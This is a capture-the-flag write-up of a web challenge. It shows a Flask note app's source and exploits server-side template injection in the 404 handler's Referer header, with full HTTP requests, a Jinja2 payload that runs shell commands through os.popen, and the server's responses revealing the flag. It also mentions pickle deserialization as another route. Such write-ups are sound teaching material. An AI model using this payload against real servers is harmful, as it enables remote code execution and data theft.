Tags: ssti web 

Rating: 4.8

# ▼▼▼notepad(Web, 326pts, 46/432=10.6%) ▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218

 ⇒46/218=21.1%

---

## 【Check source code】

```
import flask
import flask_bootstrap
import os
import pickle
import base64
import datetime

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)

@app.route('/', methods=['GET'])
def index():
return notepad(0)

@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
data = load()

if not 0 <= nid < len(data):
nid = 0

return flask.render_template('index.html', data=data, nid=nid)

@app.route('/new', methods=['GET'])
def new():
""" Create a new note """
data = load()
data.append({"date": now(), "text": "", "title": "*New Note*"})
flask.session['savedata'] = base64.b64encode(pickle.dumps(data))

return flask.redirect('/note/' + str(len(data) - 1))

@app.route('/save/<int:nid>', methods=['POST'])
def save(nid=0):
""" Update or append a note """
if 'text' in flask.request.form and 'title' in flask.request.form:
title = flask.request.form['title']
text = flask.request.form['text']
data = load()

if 0 <= nid < len(data):
data[nid] = {"date": now(), "text": text, "title": title}
else:
data.append({"date": now(), "text": text, "title": title})

flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
else:
return flask.redirect('/')

return flask.redirect('/note/' + str(len(data) - 1))

@app.route('/delete/<int:nid>', methods=['GET'])
def delete(nid=0):
""" Delete a note """
data = load()

if 0 <= nid < len(data):
data.pop(nid)
if len(data) == 0:
data = [{"date": now(), "text": "", "title": "*New Note*"}]

flask.session['savedata'] = base64.b64encode(pickle.dumps(data))

return flask.redirect('/')

@app.route('/reset', methods=['GET'])
def reset():
""" Remove every note """
flask.session['savedata'] = None

return flask.redirect('/')

@app.route('/favicon.ico', methods=['GET'])
def favicon():
return ''

@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")

if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404

def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url

if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404

return True

def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]

return data

def now():
""" Get current time """
return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')

if __name__ == '__main__':
app.run(
host = '0.0.0.0',
port = '8001',
debug=False
)
```

---

## 【Goal】
・The location of the flag could not be identified...

---

## 【Vulnerability identification】

```
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")

if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404
```

**SSTI(Server Side Template Injection)** vulnerability exists in Referer header

---

## 【Check restrictions】

```
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url

if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404

return True
```

(en)https://docs.python.org/3/library/stdtypes.html#str.startswith

(ja)https://docs.python.org/ja/3/library/stdtypes.html#str.startswith

If the host name of the **host header** and **Referer header** are the same, there is no character limit

---

## 【exploit】

Access /ttttt to get a 404 response

```
GET /ttttt HTTP/1.1
Host: {{7*7}}
Referer: http://{{7*7}}/
Content-Length: 0
```

```
HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 151
Server: Werkzeug/1.0.0 Python/3.6.9
Date: Mon, 09 Mar 2020 00:50:50 GMT

<html><head><meta http-equiv="Refresh" content="3;URL=http://49/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>
```

`URL=http://49/`  ※7\*7 = **49** is calculated because of **SSTI** vulnerability.

---

```
GET /ttttt?cmd=ls HTTP/1.1
Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}
Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/
```

```
HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 171
Server: Werkzeug/1.0.0 Python/3.6.9
Date: Mon, 09 Mar 2020 01:08:35 GMT

<html><head><meta http-equiv="Refresh" content="3;URL=http://app.py
flag
templates
/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>
```

```
app.py
flag
templates
```

---

```
GET /ttttt?cmd=cat%20flag HTTP/1.1
Host: {{url_for.__globals__.os.popen(request.args.cmd).read()}}
Referer: http://{{url_for.__globals__.os.popen(request.args.cmd).read()}}/
```

```
HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 186
Server: Werkzeug/1.0.0 Python/3.6.9
Date: Mon, 09 Mar 2020 00:54:00 GMT

<html><head><meta http-equiv="Refresh" content="3;URL=http://zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}/"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>
```

`zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}`

---

### 【Other】

After obtaining SECRET_KEY by SSTI,

it seems that the procedure of executing arbitrary code using **serialization of pickle** is an assumed solution...